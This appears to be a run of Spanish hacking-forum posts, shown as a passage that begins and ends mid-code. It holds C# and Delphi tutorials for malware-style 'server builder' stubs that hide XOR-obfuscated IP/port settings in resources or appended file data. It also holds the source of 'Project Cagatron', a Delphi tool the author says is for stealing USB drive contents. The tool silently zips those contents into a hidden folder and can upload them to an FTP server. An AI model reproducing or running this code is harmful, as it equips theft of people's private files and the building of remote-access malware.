string nombre = System.IO . Path . GetFileNameWithoutExtension ( archivo) ;
ListBoxItem item1
= new ListBoxItem
( ) ; item1. Content = nombre;
item1. Tag = archivo;
lista. Items . Add ( item1) ;
}
}
}
}
private void MenuItem_Click_4( object sender, RoutedEventArgs e)
{
repeat = true ;
}
private void MenuItem_Click_5( object sender, RoutedEventArgs e)
{
repeat = false ;
}
private void MenuItem_Click_6( object sender, RoutedEventArgs e)
{
automatic = true ;
}
private void MenuItem_Click_7( object sender, RoutedEventArgs e)
{
automatic = false ;
}
private void MenuItem_Click_10( object sender, RoutedEventArgs e)
{
player. IsMuted = true ;
}
private void MenuItem_Click_11( object sender, RoutedEventArgs e)
{
player. IsMuted = false ;
}
private void MenuItem_Click_8( object sender, RoutedEventArgs e)
{
MessageBox. Show ( "Written By Doddy Hackman in the summer of 2015" ) ;
}
private void MenuItem_Click_9( object sender, RoutedEventArgs e)
{
Application. Current . Shutdown ( ) ;
}
private void MenuItem_Click_12( object sender, RoutedEventArgs e)
{
lista. Items . Clear ( ) ;
}
}
}
// The End ?
Si quieren bajar el programa lo pueden hacer de aca :
SourceForge .
Github .
Eso es todo.
66
Programación / .NET (C#, VB.NET, ASP) / [C#] Creacion de un Server Builder con recursos
en: 10 Marzo 2015, 18:08 pm
[Titulo] : Creacion de un Server Builder con recursos
[Lenguaje] : C#
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
0x05 : Builder Tools
-- =================--------
0x01 : Introduccion
En este manual les voy a enseñar como hacer un Server Builder en C# con recursos , en el manual anterior les enseñe como hacerlo mediante EOF , una mejor forma de hacer un server builder es usando recursos.
Empecemos ...
0x02 : Creacion del builder
Para crear el server builder tenemos que crear un nuevo proyecto en Visual Studio de esta manera si usan la version 2010 :
"Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms" y le damos en aceptar
Como en la siguiente imagen :
Ahora tenemos que crear dos edit y un boton con el texto "Make Server" como en la siguiente imagen :
Despues deben cambiar el titulo del formulario a "Builder" y cambiarle el nombre por defecto de los edits de la siguiente forma :
textBox1 -> ip
textBox2 -> port
Para empezar vamos al inicio del codigo del programa y agregamos el siguiente codigo para poder manejar recursos :
using System.CodeDom.Compiler ;
using Microsoft.CSharp ;
using System.IO ;
using System.Resources ;
Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo :
private void button1_Click( object sender, EventArgs e)
{
string linea = "-ip-" + ip. Text + "-ip-" + "-port-" + port. Text + "-port-" ; // Establecemos la variable "linea" como los datos de la IP y el puerto
System.Resources . ResourceWriter escribiendo
= new System.Resources . ResourceWriter ( "configuration.resources" ) ; // Empezamos a escribir el // recurso "configuration"
escribiendo. AddResource ( "configuration" ,linea) ; // Agregamos el recurso "configuration" con los datos de la variable "linea"
escribiendo. Close ( ) ; // Guarda los recursos y se cierra
System.CodeDom . Compiler . CompilerParameters compilador
= new System.CodeDom . Compiler . CompilerParameters ( ) ; // Iniciamos la instancia CompilerParameters
compilador. GenerateExecutable = true ; // Aclaramos que queremos que genere un ejecutable
compilador. OutputAssembly = "stub.exe" ; // Establecemos el nombre del ejecutable a generar
compilador. ReferencedAssemblies . Add ( "System.dll" ) ; // Agregamos el ensamblado System
compilador. ReferencedAssemblies . Add ( "System.Windows.Forms.dll" ) ; // Agregamos el ensamblado System.Windows.Forms
compilador. EmbeddedResources . Add ( "configuration.resources" ) ; // Agregamos los recursos que se van a incluir en el ejecutable resultante
compilador. CompilerOptions += "/t:winexe" ; // Establecemos los argumentos de la linea de comandos que usara el compilador
System.CodeDom . Compiler . CompilerResults final
= new Microsoft
. CSharp . CSharpCodeProvider ( ) . CompileAssemblyFromSource ( compilador, Properties
. Resources . stub ) ;
// Compilamos el recurso
if ( File. Exists ( "configuration.resources" ) ) // Si existe el archivo "configuration.resources" ...
{
System.IO . File . Delete ( "configuration.resources" ) ; // Lo borramos
}
MessageBox. Show ( "Done" ) ; // Mostramos por pantalla un mensaje para decir que el stub esta listo
}
El codigo les deberia ver algo asi :
Con eso ya tendriamos hecho el builder.
0x03 : Creacion del stub
Para hacer el stub , tenemos que seguir en el mismo proyecto , entonces vamos a "Proyecto->Propiedades" y seleccionamos la pestaña de "Recursos" , les deberia aperecer esta ventana :
Ahora hacemos click en "Agregar recurso" y seleccionamos "Agregar nuevo archivo de texto" , entonces nos va a aparecer una nueva ventana y escriben "stub".
Como en la siguiente imagen :
Una vez completado veran que pueden escribir en el stub.txt , tienen que poner el siguiente codigo :
using System ;
using System.Text ;
using System.Windows.Forms ;
using System.Resources ;
using System.Text.RegularExpressions ;
namespace stub
{
class Program
{
static void Main( )
{
string ip = "" ; // Declaramos la variable string "ip" que contendra la IP
string port = "" ; // Declaramos la variable string "port" que contendra el puerto
ResourceManager leyendo_recurso
= new ResourceManager
( "configuration" ,
System.Reflection . Assembly . GetExecutingAssembly ( ) ) ; // Cargamos los datos // del recurso "configuration"
string datos = leyendo_recurso. GetString ( "configuration" ) ; // Leemos los datos del recurso "configuration"
Match regex = Regex. Match ( datos, "-ip-(.*?)-ip--port-(.*?)-port-" , RegexOptions. IgnoreCase ) ; // Usamos una expresion regular para buscar la IP
// y el puerto
if ( regex. Success ) // Si se encontro algo ...
{
ip = regex. Groups [ 1 ] . Value ; // Guardamos la IP encontrada en la variable "ip"
port = regex. Groups [ 2 ] . Value ; // Guardamos el puerto encontrado en la variable "port"
}
MessageBox. Show ( "[+] IP : " + ip) ; // Mostramos la IP con un mensaje usando la variable "ip"
MessageBox. Show ( "[+] Port : " + port) ; // Mostramos el puerto con un mensaje usando la variable "port"
}
}
}
Una imagen de como deberia quedar :
Con eso ya terminamos el stub.
0x04 : Probando el programa
Una vez terminado el programa podremos probarlo , entonces cargamos el builder y pongan los datos que quieran , le dan al boton "Make Server" y despues cargan el stub para mostrar los datos cargados desde el builder.
Les deberia que quedar algo asi :
0x05 : Builder Tools
Como regalo les dejo una clase en C# que hice para aplicar el metodo EOF de una forma mas facil y segura (datos cifrados con XOR).
El codigo viene con ejemplos de uso y tiene el siguiente codigo :
// Class Name : Builder Tools
// Version : 0.1
// (C) Doddy Hackman 2015
//
// Examples :
//builder_tools tools = new builder_tools();
//tools.escribir_eof("stub.exe","hola mundo de ***** [ip]morite[ip][port]sdasd[port]","key");
//Console.Write(tools.leer_eof("stub.exe", "key"));
//
using System ;
using System.Collections.Generic ;
using System.Text ;
using System.IO ;
using System.Text.RegularExpressions ;
namespace builder
{
class builder_tools
{
public string xor_now( string linea, string key)
{
// Credits : Based on http://stackoverflow.com/questions/2532668/help-me-with-xor-encryption
// Thanks to Daniel Earwicker
var contenido
= new StringBuilder
( ) ; for ( int i = 0 ; i < linea. Length ; i++ )
{
contenido. Append ( ( char ) ( ( uint ) linea[ i] ^ ( uint ) key[ i % key. Length ] ) ) ;
}
return contenido. ToString ( ) ;
}
public bool escribir_eof( string archivo, string texto, string key)
{
string delimitador = "-0x646F646479206861636B6D616E-" ;
FileStream abriendo
= new FileStream
( archivo, FileMode
. Append ) ; BinaryWriter seteando
= new BinaryWriter
( abriendo
) ; seteando. Write ( delimitador + xor_now( texto, key) + delimitador) ;
seteando. Flush ( ) ;
seteando. Close ( ) ;
abriendo. Close ( ) ;
return true ;
}
public string leer_eof( string archivo, string key)
{
StreamReader viendo
= new StreamReader
( archivo
) ;
string contenido = viendo. ReadToEnd ( ) ;
string rta = "" ;
Match regex = Regex. Match ( contenido, "-0x646F646479206861636B6D616E-(.*?)-0x646F646479206861636B6D616E-" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
rta = xor_now( regex. Groups [ 1 ] . Value , key) ;
}
else
{
rta = "WTF!" ;
}
return rta;
}
}
}
// The End ?
Eso seria todo.
--========--
The End ?
--========--
Version PDF .
Version en Video Tutorial :
VIDEO
67
Programación / Programación General / [Delphi] Creacion de un Server Builder con recursos
en: 9 Marzo 2015, 18:45 pm
[Titulo] : Creacion de un Server Builder con recursos
[Lenguaje] : Delphi
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
0x05 : Builder Tools
-- =================--------
0x01 : Introduccion
En este manual les voy a enseñar como hacer un Server Builder en Delphi usando recursos , en el manual anteior les enseñe como hacerlo mediante EOF , algo que no era muy seguro porque los datos estaban en texto plano y se podian leer facilmente , mediante recursos es diferente y para asegurarlo vamos a usar XOR para eso.
Empecemos ...
0x02 : Creacion del builder
Primero vamos hacer el builder , para eso vamos a "File->New->VCL Forms Application" como lo hice en la imagen :
Ahora creamos dos edit y boton con el texto de "Make Server" como en la siguiente imagen :
Despues deben cambiar el titulo del formulario a "Builder" y cambiarle el nombre por defecto que tienen los edits de la siguiente forma :
Edit1 -> ip
Edit2 -> port
Una vez hecho , hacemos doble click en el boton y agregamos el siguiente codigo :
procedure TForm1. Button1Click ( Sender: TObject ) ;
var
archivo: string ; // Declaramos la variable "archivo" como string
datos: string ; // Declaramos la variable "datos" como string
clave: integer ; // Declaramos la variable "clave" como integer
begin
archivo : = 'stubnow.exe' ;
// Establecemos la variable "archivo" como el nombre del ejecutable
// que vamos abrir
datos : = '[ip]' + ip. Text + '[ip]' + '[port]' + port. Text + '[port]' ;
// Establecemos los datos que contiene la IP y el puerto separados por etiquetas
// y los guardamos en la variable "datos"
clave : = 123 ; // Establecemos la variable "clave" como "123"
escribir_recurso( archivo, datos, clave) ;
// Escribimos el recurso usando la funcion
// "escribir_recurso" usando como argumentos las variables que acabamos de establecer
ShowMessage( 'Done' ) ; // Mostramos un mensaje en pantalla
end ;
Fuera del codigo de la funcion "click" del boton agregamos el codigo de estas dos funciones :
function xor_now( texto: string ; clave: integer ) : string ;
// Funcion xor_now con el argumento
// del texto a crifrar y la clave a usar
var
numero: integer ; // Declaramos la variable "numero" como entero
contenido: string ; // Declaramos la variable "contenido" como string
begin
contenido : = '' ; // Vaciamos la variable contenido
for numero : = 1 to Length ( texto) do // Realizamos un for del "1"
// a la longitud de la variable texto
begin
contenido : = contenido + Char ( integer ( texto[ numero] ) xor clave) ;
// Realizamos el cifrado xor
end ;
Result : = contenido; // Devolvemos como resultado la variable "contenido"
end ;
function escribir_recurso( ruta: string ; datos: string ; clave: integer ) : bool ;
var
escribiendo: THandle ; // Declaramos la variable "escribiendo" como THandle
begin
datos : = xor_now( '-0x646F646479206861636B6D616E-' + datos +
'-0x646F646479206861636B6D616E-' , clave) ;
// Ciframos los datos usando la funcion xor_now
// Los parametros que usamos en la funcion xor_now son la variable "datos" como el texto
// a cifrar , los "datos" estan entre dos delimitadores para facilitar su busqueda y
// tambien usamos la variable "clave" como key en el cifrado xor
escribiendo : = BeginUpdateResource( pchar ( ruta) , False ) ;
// Empezamos el inicio de de la creacion
// del recurso usando la variable "ruta"
UpdateResource( escribiendo, MakeIntResource( 10 ) , 'CONFIGURATION' , 0 ,
pchar ( datos) , ( Length ( datos) + 1 ) * SizeOf ( datos[ 1 ] ) ) ;
// Escribimos el recurso usando
// la variable "datos" como el contenido del recurso y como nombre del recurso usamos
// "CONFIGURATION"
EndUpdateResource( escribiendo, False ) ; // Terminamos de crear el recurso
Result : = True ; // Devolvemos True como resultado de la funcion
end ;
Les deberia quedar algo asi :
Con eso ya estaria el builder entonces guardamos el proyecto como "builder_now" o como quieran para terminar el builder.
0x03 : Creacion del stub
Ahora vamos a codear el Stub para eso vamos a "File->New->VCL Forms Application" como lo hice en la imagen :
La idea es buscar el recurso en el ejecutable mismo , entonces para eso vamos a crear dos edits y un boton con el texto de "Get Values".
Despues deben poner como titulo del formulario "Stub" y cambiar los names de los edits de la siguiente forma :
Edit1 -> ip
Edit2 -> port
El formulario les deberia quedar algo asi :
Ahora hacemos doble click en el boton y ponemos el siguiente codigo :
procedure TForm1. Button1Click ( Sender: TObject ) ;
var
clave: integer ; // Declaramos la variable "clave" como integer
datos: string ; // Declaramos la variable "datos" como string
ip_found: string ; // Declaramos la variable "ip_found" como string
port_found: string ; // Declaramos la variable "port_found" como string
begin
clave : = 123 ; // Establecemos la variable "clave" como 123
datos : = leer_recurso( clave) ; // Leemos el recurso usando el key que esta
// en la variable clave y guardamos los datos en la variable "datos"
ip_found : = regex( datos, '[ip]' , '[ip]' ) ;
// Usamos la funcion regex() para buscar
// la ip y la guardamos en la variable "ip_found"
port_found : = regex( datos, '[port]' , '[port]' ) ;
// Usamos la funcion regex() para
// buscar el puerto y lo guardamos en la variable "port_found"
ip. text : = ip_found; // Mostramos en el edit "ip" la IP
port. text : = port_found; // Mostramos en el edit "port" el puerto
ShowMessage( 'Loaded' ) ; // Mostramos en pantalla un mensaje
end ;
Despues ponemos las siguientes funciones fuera del codigo del boton :
function regex( text: string ; deaca: string ; hastaaca: string ) : string ;
begin
Delete ( text, 1 , AnsiPos ( deaca, text) + Length ( deaca) - 1 ) ;
SetLength ( text, AnsiPos ( hastaaca, text) - 1 ) ;
Result : = text;
end ;
function xor_now( texto: string ; clave: integer ) : string ;
// Funcion xor_now con el argumento
// del texto a crifrar y la clave a usar
var
numero: integer ; // Declaramos la variable "numero" como entero
contenido: string ; // Declaramos la variable "contenido" como string
begin
contenido : = '' ; // Vaciamos la variable contenido
for numero : = 1 to Length ( texto) do // Realizamos un for del "1"
// a la longitud de la variable texto
begin
contenido : = contenido + Char ( integer ( texto[ numero] ) xor clave) ;
// Realizamos el cifrado xor
end ;
Result : = contenido; // Devolvemos como resultado la variable contenido
end ;
function leyendo_recurso: string ;
var
leyendo1: HRSRC; // Establecemos la variable "leyendo1" como HRSRC
leyendo2: DWORD ; // Establecemos la variable "leyendo2" como DWORD
leyendo3: THandle ; // Establecemos la variable "leyendo3" como THandle
leyendo4: pointer ; // Establecemos la variable "leyendo4" como Pointer
begin
leyendo1 : = FindResource( hInstance, 'CONFIGURATION' , RT_RCDATA) ;
// Buscamos el recurso
// "CONFIGURATION"
leyendo2 : = SizeofResource( hInstance, leyendo1) ;
// Calculamos la tamaño del recurso
leyendo3 : = LoadResource( hInstance, leyendo1) ; // Cargamos el recurso
leyendo4 : = LockResource( leyendo3) ;
// Bloqueamos el recurso para poder leerlo despues
if leyendo4 <> nil then // Si "leyendo4" no esta null ...
begin
SetLength ( Result, leyendo2 - 1 ) ; // Cambiamos la longitud de Result
CopyMemory( @ Result[ 1 ] , leyendo4, leyendo2) ;
// Copiamos los datos al resultado de la funcion
FreeResource( leyendo3) ; // Liberamos el recurso
end ;
end ;
function leer_recurso( clave: integer ) : string ;
var
datos: string ; // Declaramos la variable "datos" como string
begin
datos : = xor_now( leyendo_recurso, clave) ;
// Realizamos el cifrado xor con los datos que usamos
// como argumentos de la funcion leer_recurso()
datos : = regex( datos, '-0x646F646479206861636B6D616E-' ,
'-0x646F646479206861636B6D616E-' ) ;
// Usamos la funcion regex() para cortar los delimitadores
// y encontrar asi los datos del recurso para despues guardar el
// resultado en la variable "datos"
Result : = datos;
// Devolvemos como resultado lo que contiene la variable "datos"
end ;
El codigo les deberia quedar asi :
Guardan el proyecto con el nombre que quieran y con eso ya estaria listo el stub.
0x04 : Probando el programa
Para probarlo cargamos el builder y llenamos los campos de IP y Puerto como quieran , un ejemplo de como los complete yo seria :
Despues presionan el boton "Make Server" y listo.
Ahora cargamos el stub y le damos al boton "Get Values" , deberian ver como resultado algo como esto :
Si no ven algo como en la imagen es porque hicieron algo mal en el codigo.
0x05 : Builder Tools
Como regalo les dejo esta Unit que hice en Delphi sobre como hacer un Builder , contiene funciones para EOF y Recursos , en los dos casos uso XOR para cifrar los datos , tambien viene con ejemplos de uso.
Solo deben agregar "builder_tools" en el parte de "uses" del codigo y listo , podran usar las funciones.
El codigo :
// Unit : Builder Tools
// Version : 0.2
// (C) Doddy Hackman 2015
// Credits : Resources based in http://www.hackforums.net/showthread.php?tid=1422700
// Examples :
// escribir_eof('stub.exe','-delimitador-','-delimitador-','test',123);
// leer_eof('stub.exe','-delimitador-','-delimitador-',123);
// escribir_recurso('stub.exe','test',123);
// leer_recurso(123);
unit builder_tools;
interface
uses SysUtils, Windows;
function leer_eof( ruta, delimitador1, delimitador2: string ;
clave: integer ) : string ;
function escribir_eof( ruta, delimitador1, delimitador2, texto: string ;
clave: integer ) : bool ;
function escribir_recurso( ruta: string ; datos: string ; clave: integer ) : bool ;
function leyendo_recurso: string ;
function leer_recurso( clave: integer ) : string ;
function xor_now( texto: string ; clave: integer ) : string ;
function regex( text: string ; deaca: string ; hastaaca: string ) : string ;
implementation
function xor_now( texto: string ; clave: integer ) : string ;
var
numero: integer ;
contenido: string ;
begin
contenido : = '' ;
for numero : = 1 to Length ( texto) do
begin
contenido : = contenido + Char ( integer ( texto[ numero] ) xor clave) ;
end ;
Result : = contenido;
end ;
function regex( text: string ; deaca: string ; hastaaca: string ) : string ;
begin
Delete ( text, 1 , AnsiPos ( deaca, text) + Length ( deaca) - 1 ) ;
SetLength ( text, AnsiPos ( hastaaca, text) - 1 ) ;
Result : = text;
end ;
function leer_eof( ruta, delimitador1, delimitador2: string ;
clave: integer ) : string ;
var
ob: THandle ;
code: Array [ 0 .. 9999 + 1 ] of Char ;
nose: DWORD ;
resultado: string ;
begin
ob : = INVALID_HANDLE_VALUE;
code : = '' ;
ob : = CreateFile( pchar ( ruta) , GENERIC_READ, FILE_SHARE_READ, nil ,
OPEN_EXISTING, 0 , 0 ) ;
if ( ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer( ob, - 9999 , nil , FILE_END) ;
ReadFile( ob, code, 9999 , nose, nil ) ;
CloseHandle( ob) ;
end ;
resultado : = regex( code, delimitador1, delimitador2) ;
resultado : = xor_now( resultado, clave) ;
Result : = resultado;
end ;
function escribir_eof( ruta, delimitador1, delimitador2, texto: string ;
clave: integer ) : bool ;
var
linea: string ;
aca: THandle ;
code: Array [ 0 .. 9999 + 1 ] of Char ;
nose: DWORD ;
marca_uno: string ;
marca_dos: string ;
begin
aca : = INVALID_HANDLE_VALUE;
nose : = 0 ;
begin
linea : = delimitador1 + xor_now( texto, clave) + delimitador2;
StrCopy ( code, pchar ( linea) ) ;
aca : = CreateFile( pchar ( ruta) , GENERIC_WRITE, FILE_SHARE_READ, nil ,
OPEN_EXISTING, 0 , 0 ) ;
if ( aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer( aca, 0 , nil , FILE_END) ;
WriteFile( aca, code, 9999 , nose, nil ) ;
CloseHandle( aca) ;
Result : = True ;
end
else
begin
Result : = False ;
end ;
end ;
end ;
function escribir_recurso( ruta: string ; datos: string ; clave: integer ) : bool ;
var
escribiendo: THandle ;
begin
datos : = xor_now( '-0x646F646479206861636B6D616E-' + datos +
'-0x646F646479206861636B6D616E-' , clave) ;
escribiendo : = BeginUpdateResource( pchar ( ruta) , False ) ;
UpdateResource( escribiendo, MakeIntResource( 10 ) , 'CONFIGURATION' , 0 ,
pchar ( datos) , ( Length ( datos) + 1 ) * SizeOf ( datos[ 1 ] ) ) ;
EndUpdateResource( escribiendo, False ) ;
Result : = True ;
end ;
function leyendo_recurso: string ;
var
leyendo1: HRSRC;
leyendo2: DWORD ;
leyendo3: THandle ;
leyendo4: pointer ;
begin
leyendo1 : = FindResource( hInstance, 'CONFIGURATION' , RT_RCDATA) ;
leyendo2 : = SizeofResource( hInstance, leyendo1) ;
leyendo3 : = LoadResource( hInstance, leyendo1) ;
leyendo4 : = LockResource( leyendo3) ;
if leyendo4 <> nil then
begin
SetLength ( Result, leyendo2 - 1 ) ;
CopyMemory( @ Result[ 1 ] , leyendo4, leyendo2) ;
FreeResource( leyendo3) ;
end ;
end ;
function leer_recurso( clave: integer ) : string ;
var
datos: string ;
begin
datos : = xor_now( leyendo_recurso, clave) ;
datos : = regex( datos, '-0x646F646479206861636B6D616E-' ,
'-0x646F646479206861636B6D616E-' ) ;
Result : = datos;
end ;
end .
// The End ?
Eso seria todo.
--========--
The End ?
--========--
Version PDF .
Version en VideoTutorial :
VIDEO
68
Programación / Programación General / [Delphi] Project Cagatron 1.0
en: 6 Marzo 2015, 17:01 pm
Un simple programa en Delphi para
robar extraer los datos de un USB con las siguientes opciones :
Detecta cualquier USB conectado a la computadora Comprime los datos un archivo comprimido en una carpeta oculta de la computadora Permite la opcion de enviar los datos por FTP o dejarlos en la computadora Una imagen :
Los codigos :
El generador.
// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos
unit caga;
interface
uses
Winapi. Windows , Winapi. Messages , System. SysUtils , System. Variants ,
System. Classes , Vcl. Graphics ,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , sevenzip, Vcl. ComCtrls , Vcl. StdCtrls ,
ShellApi,
Vcl. Menus , IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdExplicitTLSClientServerBase, IdFTP, Vcl. ExtCtrls , Vcl. Imaging . pngimage ;
type
TForm1 = class ( TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
StatusBar1: TStatusBar;
PageControl2: TPageControl;
TabSheet4: TTabSheet;
usb_found: TListView;
TabSheet5: TTabSheet;
TabSheet6: TTabSheet;
GroupBox1: TGroupBox;
Label1: TLabel;
ftp_host: TEdit;
Label2: TLabel;
ftp_user: TEdit;
Label3: TLabel;
ftp_pass: TEdit;
Label4: TLabel;
ftp_path: TEdit;
GroupBox2: TGroupBox;
enter_usb: TEdit;
Button1: TButton;
Button2: TButton;
GroupBox3: TGroupBox;
upload_ftp_server: TRadioButton;
TabSheet7: TTabSheet;
GroupBox4: TGroupBox;
console: TMemo;
TabSheet8: TTabSheet;
only_logs: TRadioButton;
logs: TListView;
rutas: TListBox;
menu: TPopupMenu;
L1: TMenuItem;
IdFTP1: TIdFTP;
buscar_usb: TTimer;
otromenu: TPopupMenu;
S1: TMenuItem;
opcion_text: TEdit;
PageControl3: TPageControl;
TabSheet9: TTabSheet;
TabSheet10: TTabSheet;
GroupBox5: TGroupBox;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
ftp_host2: TEdit;
ftp_user2: TEdit;
ftp_pass2: TEdit;
ftp_path2: TEdit;
GroupBox7: TGroupBox;
directorios: TComboBox;
GroupBox6: TGroupBox;
foldername: TEdit;
Button3: TButton;
GroupBox8: TGroupBox;
Image1: TImage;
Label9: TLabel;
Image2: TImage;
GroupBox9: TGroupBox;
hide_file: TCheckBox;
upload_ftp: TCheckBox;
procedure FormCreate( Sender: TObject ) ;
procedure Button1Click( Sender: TObject ) ;
procedure Button2Click( Sender: TObject ) ;
procedure list_files;
procedure L1Click( Sender: TObject ) ;
procedure buscar_usbTimer( Sender: TObject ) ;
procedure S1Click( Sender: TObject ) ;
procedure Button3Click( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
implementation
{$R *.dfm}
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
function usb_name( checked: Char ) : string ;
// Based on http://delphitutorial.info/get-volume-name.html
var
uno, dos: DWORD ;
resultnow: array [ 0 .. MAX_PATH ] of Char ;
begin
try
GetVolumeInformation( PChar ( checked + ':/' ) , resultnow, sizeof ( resultnow) ,
nil , uno, dos, nil , 0 ) ;
Result : = StrPas ( resultnow) ;
except
Result : = checked;
end ;
end ;
function check_drive( target: string ) : boolean ;
var
a, b, c: cardinal ;
begin
Result : = GetVolumeInformation( PChar ( target) , nil , 0 , @ c, a, b, nil , 0 ) ;
end ;
function file_size( target: String ) : integer ;
var
busqueda: TSearchRec;
begin
Result : = 0 ;
try
begin
if FindFirst ( target + '\*.*' , faAnyFile + faDirectory + faReadOnly,
busqueda) = 0 then
begin
repeat
Inc ( Result) ;
until FindNext ( busqueda) <> 0 ;
System. SysUtils . FindClose ( busqueda) ;
end ;
end ;
except
Result : = 0 ;
end ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
if not DirectoryExists ( 'logs' ) then
begin
CreateDir ( 'logs' ) ;
end ;
Chdir ( 'logs' ) ;
list_files;
end ;
procedure TForm1. L1Click ( Sender: TObject ) ;
begin
ShellExecute( 0 , nil , PChar ( rutas. Items [ logs. Selected . Index ] ) , nil , nil ,
SW_SHOWNORMAL) ;
end ;
procedure TForm1. list_files ;
var
search: TSearchRec;
ext: string ;
fecha1: integer ;
begin
logs. Items . Clear ( ) ;
rutas. Items . Clear ( ) ;
FindFirst ( ExtractFilePath ( Application. ExeName ) + 'logs' + '\*.*' ,
faAnyFile, search) ;
while FindNext ( search) = 0 do
begin
ext : = ExtractFileExt ( search. Name ) ;
if ( ext = '.zip' ) then
begin
with logs. Items . Add do
begin
fecha1 : = FileAge ( ExtractFilePath ( Application. ExeName ) + 'logs/' +
search. Name ) ;
rutas. Items . Add ( ExtractFilePath ( Application. ExeName ) + 'logs/' +
search. Name ) ;
Caption : = search. Name ;
SubItems. Add ( DateToStr ( FileDateToDateTime ( fecha1) ) ) ;
end ;
end ;
end ;
FindClose ( search) ;
end ;
procedure TForm1. S1Click ( Sender: TObject ) ;
begin
opcion_text. Text : = usb_found. Selected . Caption ;
enter_usb. Text : = usb_found. Selected . SubItems [ 1 ] ;
end ;
procedure TForm1. buscar_usbTimer ( Sender: TObject ) ;
var
unidad: Char ;
begin
usb_found. Items . Clear ( ) ;
for unidad : = 'C' to 'Z' do
begin
if ( check_drive( PChar ( unidad + ':\' ) ) = True ) and
( GetDriveType( PChar ( unidad + ':\' ) ) = DRIVE_REMOVABLE) then
begin
with usb_found. Items . Add do
begin
Caption : = usb_name( unidad) ;
SubItems. Add ( IntToStr ( file_size( unidad + ':\' ) ) ) ;
SubItems. Add ( unidad + ':\' ) ;
end ;
end ;
end ;
end ;
procedure TForm1. Button1Click ( Sender: TObject ) ;
begin
with TFileOpenDialog. Create ( nil ) do
try
Options : = [ fdoPickFolders] ;
if Execute then
enter_usb. Text : = Filename;
finally
Free;
end ;
end ;
procedure TForm1. Button2Click ( Sender: TObject ) ;
var
zipnow: I7zOutArchive;
busqueda: TSearchRec;
code: string ;
dirnow: string ;
guardar: string ;
begin
dirnow : = enter_usb. Text ;
if not FileExists ( PChar ( ExtractFilePath ( Application. ExeName ) + '/' + '7z.dll' ) )
then
begin
CopyFile( PChar ( ExtractFilePath ( Application. ExeName ) + '/' + 'Data/7z.dll' ) ,
PChar ( ExtractFilePath ( Application. ExeName ) + '/' + '7z.dll' ) , True ) ;
end ;
if not ( opcion_text. Text = '' ) then
begin
guardar : = opcion_text. Text + '.zip' ;
end
else
begin
guardar : = ExtractFileName ( dirnow) + '.zip' ;
end ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Saving ...' ;
Form1. StatusBar1 . Update ;
console. Lines . Add ( '[+] Saving ..' ) ;
zipnow : = CreateOutArchive( CLSID_CFormat7z) ;
SetCompressionLevel( zipnow, 9 ) ;
SevenZipSetCompressionMethod( zipnow, m7LZMA) ;
if FindFirst ( dirnow + '\*.*' , faAnyFile + faDirectory + faReadOnly,
busqueda) = 0 then
begin
repeat
if ( busqueda. Attr = faDirectory) then
begin
if not ( busqueda. Name = '.' ) and not ( busqueda. Name = '..' ) then
begin
console. Lines . Add ( '[+] Saving Directory : ' + busqueda. Name ) ;
// StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
// Form1.StatusBar1.Update;
zipnow. AddFiles ( dirnow + '/' + busqueda. Name , busqueda. Name ,
'*.*' , True ) ;
end ;
end
else
begin
console. Lines . Add ( '[+] Saving File : ' + busqueda. Name ) ;
// StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
// Form1.StatusBar1.Update;
zipnow. AddFile ( dirnow + '/' + busqueda. Name , busqueda. Name ) ;
end ;
until FindNext ( busqueda) <> 0 ;
System. SysUtils . FindClose ( busqueda) ;
end ;
zipnow. SaveToFile ( guardar) ;
if ( upload_ftp_server. checked ) then
begin
IdFTP1. Host : = ftp_host. Text ;
IdFTP1. Username : = ftp_user. Text ;
IdFTP1. Password : = ftp_pass. Text ;
try
IdFTP1. Connect ;
except
StatusBar1. Panels [ 0 ] . Text : = '[-] Error Uploading' ;
Form1. StatusBar1 . Update ;
end ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Uploading ...' ;
Form1. StatusBar1 . Update ;
IdFTP1. ChangeDir ( ftp_path. Text ) ;
IdFTP1. Put ( guardar, guardar, False ) ;
end ;
list_files;
console. Lines . Add ( '[+] Ready' ) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Ready' ;
Form1. StatusBar1 . Update ;
opcion_text. Text : = '' ;
end ;
procedure TForm1. Button3Click ( Sender: TObject ) ;
var
lineafinal: string ;
hidefile: string ;
uploadftp: string ;
aca: THandle ;
code: Array [ 0 .. 9999 + 1 ] of Char ;
nose: DWORD ;
stubgenerado: string ;
begin
if ( hide_file. checked ) then
begin
hidefile : = '1' ;
end
else
begin
hidefile : = '0' ;
end ;
if ( upload_ftp. checked ) then
begin
uploadftp : = '1' ;
end
else
begin
uploadftp : = '0' ;
